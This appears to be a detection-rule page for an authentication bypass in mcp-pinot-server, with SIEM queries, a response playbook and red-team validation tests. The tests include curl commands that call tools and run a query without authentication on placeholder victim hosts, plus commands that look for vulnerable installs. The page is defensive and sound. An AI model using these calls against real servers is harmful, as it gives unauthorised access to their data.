CVE-2026-49257: mcp-pinot Unauthenticated Tool Invocation via Default oauth_enabled=False
Detects exploitation of CVE-2026-49257, a critical authentication bypass in mcp-pinot-server (<=3.0.1). The server defaults to oauth_enabled=False and binds to 0.0.0.0, allowing any network-adjacent or internet-facing attacker to invoke MCP tools without authentication. CVSS 10.0 with public PoC available.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- pip
- Product
- mcp-pinot-server
- Versions
- <= 3.0.1
Weakness (CWE)
Timeline
- Disclosed
- June 26, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-73cv-556c-w3g6
- https://github.com/startreedata/mcp-pinot/security/advisories/GHSA-73cv-556c-w3g6
- https://nvd.nist.gov/vuln/detail/CVE-2026-49257
- https://github.com/startreedata/mcp-pinot/issues/90
- https://github.com/startreedata/mcp-pinot/pull/95
- https://github.com/startreedata/mcp-pinot/commit/1c7d3f9cd384854bf72c127d230bdb32299475ad
What is CVE-2026-49257 CVE-2026-49257: mcp-pinot Unauthenticated Tool Invocation via Default oauth_enabled=False?
CVE-2026-49257: mcp-pinot Unauthenticated Tool Invocation via Default oauth_enabled=False (CVE-2026-49257) maps to the Initial Access and Privilege Escalation and Exfiltration tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for CVE-2026-49257: mcp-pinot Unauthenticated Tool Invocation via Default oauth_enabled=False, covering the data sources and telemetry it touches: DeviceNetworkEvents, CommonSecurityLog, AzureActivity. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
union DeviceNetworkEvents, CommonSecurityLog
| where TimeGenerated > ago(24h)
| where DestinationPort in (8000, 8080, 8443, 9000, 3000)
| where (ProcessCommandLine has "mcp-pinot" or ProcessCommandLine has "mcp_pinot" or ProcessCommandLine has "uvicorn" or ProcessCommandLine has "fastapi")
| where not (InitiatingProcessAccountName in ("serviceaccount", "mcp-service"))
| extend AuthHeader = extract("Authorization: (\\S+)", 1, AdditionalExtensions)
| where isempty(AuthHeader) or AuthHeader == ""
| project TimeGenerated, DeviceName, RemoteIP, DestinationPort, ProcessCommandLine, InitiatingProcessAccountName, AuthHeader
| order by TimeGenerated desc Detects inbound HTTP connections to mcp-pinot-server processes on common MCP ports without an Authorization header, indicating unauthenticated tool invocation attempts consistent with CVE-2026-49257 exploitation.
Data Sources
Required Tables
False Positives
- Internal service-to-service calls on trusted networks where authentication is handled at the network layer
- Health check endpoints or monitoring probes that do not send auth headers
- Development or staging environments where oauth_enabled is intentionally False
- Load balancer health checks hitting the MCP server directly
Sigma rule & cross-platform mapping
The detection logic for CVE-2026-49257: mcp-pinot Unauthenticated Tool Invocation via Default oauth_enabled=False (CVE-2026-49257) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-49257
References (6)
- https://github.com/startreedata/mcp-pinot/security/advisories/GHSA-73cv-556c-w3g6
- https://nvd.nist.gov/vuln/detail/CVE-2026-49257
- https://github.com/startreedata/mcp-pinot/issues/90
- https://github.com/startreedata/mcp-pinot/pull/95
- https://github.com/startreedata/mcp-pinot/commit/1c7d3f9cd384854bf72c127d230bdb32299475ad
- https://github.com/advisories/GHSA-73cv-556c-w3g6
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Verify Unauthenticated MCP Tool Listing
Expected signal: HTTP 200 response with JSON list of available Pinot MCP tools returned without any authentication challenge; no 401 or 403 status code issued.
- Test 2Unauthenticated Pinot Query Execution via MCP Tool
Expected signal: Pinot query execution log entry showing query 'SELECT * FROM myTable LIMIT 10' from MCP server without session token; HTTP 200 from mcp-pinot-server with query results in response body.
- Test 3External Network Exploitation Simulation
Expected signal: Inbound TCP connection from external IP to port 8000; HTTP POST to /tools/list and /tools/call with source IP from outside trusted ranges; no TLS client certificate or Authorization header present.
- Test 4Confirm Vulnerable Package Version in Environment
Expected signal: Command execution events showing pip, find, and ps commands with mcp-pinot arguments; output revealing package version <= 3.0.1 and running process details.
Response Playbook
Triage
- Confirm mcp-pinot-server is installed: run `pip show mcp-pinot-server` and check version against <=3.0.1 threshold. Versions at or below 3.0.1 are vulnerable.
- Verify server configuration: check startup arguments and environment for `oauth_enabled=False` (default) and confirm bind address is 0.0.0.0 rather than 127.0.0.1 or a specific interface.
- Review network exposure: determine if the server port (default 8000 or configured) is reachable from untrusted networks — check firewall rules, security groups, and NSG configurations.
- Examine HTTP access logs for POST requests to /tools/, /invoke, or /call endpoints originating from unexpected source IPs or lacking Authorization headers within the past 72 hours.
Containment
- Immediately restrict network access to the mcp-pinot-server port via firewall rules or security group changes to allow only trusted source IPs, preventing further unauthenticated access while remediation is prepared.
- If the server cannot be taken offline, set the bind address to 127.0.0.1 to limit exposure to localhost-only, or enable oauth_enabled=True and configure a valid OAuth provider to enforce authentication.
- Upgrade mcp-pinot-server to a patched version above 3.0.1 as soon as available; if no patch exists, apply the configuration mitigations in the GitHub advisory commit 1c7d3f9cd384854bf72c127d230bdb32299475ad.
Evidence Collection
- Export full HTTP access logs from the mcp-pinot-server process covering at least 7 days prior to detection, focusing on POST requests to tool invocation endpoints and capturing source IPs, request bodies, and response codes.
- Capture process memory and running configuration of the mcp-pinot-server process using OS-level tools (e.g., `ps auxf`, `ss -tlnp`, `/proc/<pid>/cmdline`) to document the actual runtime configuration at time of detection.
- Collect all Apache Pinot query logs that may reflect queries submitted by MCP tools, to determine what data was accessed or exfiltrated during any unauthenticated sessions.
Escalation Criteria
- ! Escalate immediately if evidence shows successful unauthenticated tool invocations that resulted in Pinot data queries — this indicates active data exfiltration and triggers incident response under data breach protocols.
- ! Escalate if the vulnerable mcp-pinot-server is confirmed accessible from the internet (not just internal networks) or if the bind address is confirmed as 0.0.0.0 with no WAF or reverse proxy enforcing authentication upstream.
Investigation Guide
Forensic Artifacts
- >
HTTP access logs showing POST /tools/* or /invoke without Authorization header - >
Python process command line containing 'mcp-pinot' or 'mcp_pinot' with 0.0.0.0 bind - >
pip freeze or site-packages directory confirming mcp-pinot-server version <= 3.0.1 - >
Network connection records showing inbound connections to MCP server port from untrusted IPs - >
Apache Pinot query execution logs showing queries not originating from authenticated sessions
Tuning Guidance
High false positive risk in environments with many Python web services — tune by adding process name filter for 'mcp_pinot' or 'mcp-pinot' specifically. Consider enriching alerts with pip package version data from a software inventory CMDB to reduce noise from patched instances. If the MCP server is behind a reverse proxy that handles authentication, the unauthenticated-to-server traffic will be expected and should be excluded by filtering source IPs to only the proxy's address. Reduce false positives from health check traffic by excluding known monitoring tool user agents or source IPs.
Hunting Queries
Threat hunt for mcp-pinot-server processes running with default insecure configuration (0.0.0.0 bind, oauth_enabled=False) across the environment to identify unpatched vulnerable instances before exploitation occurs.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where ProcessCommandLine has_any ("mcp-pinot", "mcp_pinot", "mcp pinot")
| extend BindAddress = extract("--host ([0-9\.]+)", 1, ProcessCommandLine)
| extend OAuthEnabled = extract("oauth_enabled=([A-Za-z]+)", 1, ProcessCommandLine)
| where BindAddress == "0.0.0.0" or isempty(BindAddress)
| where OAuthEnabled =~ "False" or isempty(OAuthEnabled)
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, BindAddress, OAuthEnabled
| order by TimeGenerated desc index=* sourcetype IN ("linux:audit", "wineventlog", "ps")
| where match(_raw, "(?i)mcp.?pinot")
| rex field=_raw "--host (?P<bind_addr>[0-9\.]+)"
| rex field=_raw "oauth_enabled=(?P<oauth_val>[A-Za-z]+)"
| where (isnull(bind_addr) OR bind_addr="0.0.0.0") AND (isnull(oauth_val) OR oauth_val="False")
| table _time, host, _raw, bind_addr, oauth_val Atomic Red Team Tests
Confirm that mcp-pinot-server responds to tool listing requests without requiring authentication when running with default configuration.
Command
pip install 'mcp-pinot-server<=3.0.1' && python -m mcp_pinot.server --host 0.0.0.0 --port 8765 &
sleep 3
curl -s -X POST http://127.0.0.1:8765/tools/list -H 'Content-Type: application/json' -d '{}'
echo "Exit code: $?" Cleanup
pkill -f mcp_pinot.server; pip uninstall -y mcp-pinot-server Expected Telemetry
HTTP 200 response with JSON list of available Pinot MCP tools returned without any authentication challenge; no 401 or 403 status code issued.
Expected Detection
SIEM should fire on POST /tools/list with no Authorization header from localhost or external IP to port 8765.
Attempt to invoke a Pinot query tool through the MCP interface without providing any OAuth token, demonstrating data access through the authentication bypass.
Command
curl -s -X POST http://TARGET_MCP_PINOT_HOST:8000/tools/call \
-H 'Content-Type: application/json' \
-d '{"name": "execute_query", "arguments": {"query": "SELECT * FROM myTable LIMIT 10"}}' Cleanup
No cleanup required — this is a read operation. Review Pinot query logs to confirm test query was recorded. Expected Telemetry
Pinot query execution log entry showing query 'SELECT * FROM myTable LIMIT 10' from MCP server without session token; HTTP 200 from mcp-pinot-server with query results in response body.
Expected Detection
Detection should trigger on POST /tools/call without Authorization header and correlate with downstream Pinot query log activity.
Simulate an internet-originated attack by invoking mcp-pinot MCP tools from a separate network segment or external IP, confirming no network-layer auth controls exist by default.
Command
# Run from attacker machine on separate network segment
curl -v -X POST http://VICTIM_MCP_PINOT_IP:8000/tools/list \
-H 'Content-Type: application/json' \
-d '{}'
# Then invoke a tool
curl -v -X POST http://VICTIM_MCP_PINOT_IP:8000/tools/call \
-H 'Content-Type: application/json' \
-d '{"name": "list_tables", "arguments":{}}' Cleanup
Remove any test data inserted; restore firewall rules if temporarily modified for testing. Expected Telemetry
Inbound TCP connection from external IP to port 8000; HTTP POST to /tools/list and /tools/call with source IP from outside trusted ranges; no TLS client certificate or Authorization header present.
Expected Detection
Network-layer detection should fire on external IP connecting to MCP port; application-layer detection should fire on unauthenticated POST to tool endpoint.
Enumerate installed mcp-pinot-server instances across hosts to identify vulnerable versions <= 3.0.1 prior to exploitation, simulating attacker reconnaissance.
Command
pip show mcp-pinot-server 2>/dev/null | grep -E '(Name|Version|Location)'
find / -name 'mcp_pinot' -type d 2>/dev/null | head -5
ps aux | grep -i 'mcp.\?pinot' | grep -v grep Cleanup
No cleanup required — read-only reconnaissance commands. Expected Telemetry
Command execution events showing pip, find, and ps commands with mcp-pinot arguments; output revealing package version <= 3.0.1 and running process details.
Expected Detection
EDR process creation events for pip/find/ps with mcp-pinot keywords may trigger reconnaissance detection rules; correlate with subsequent network connections to the identified port.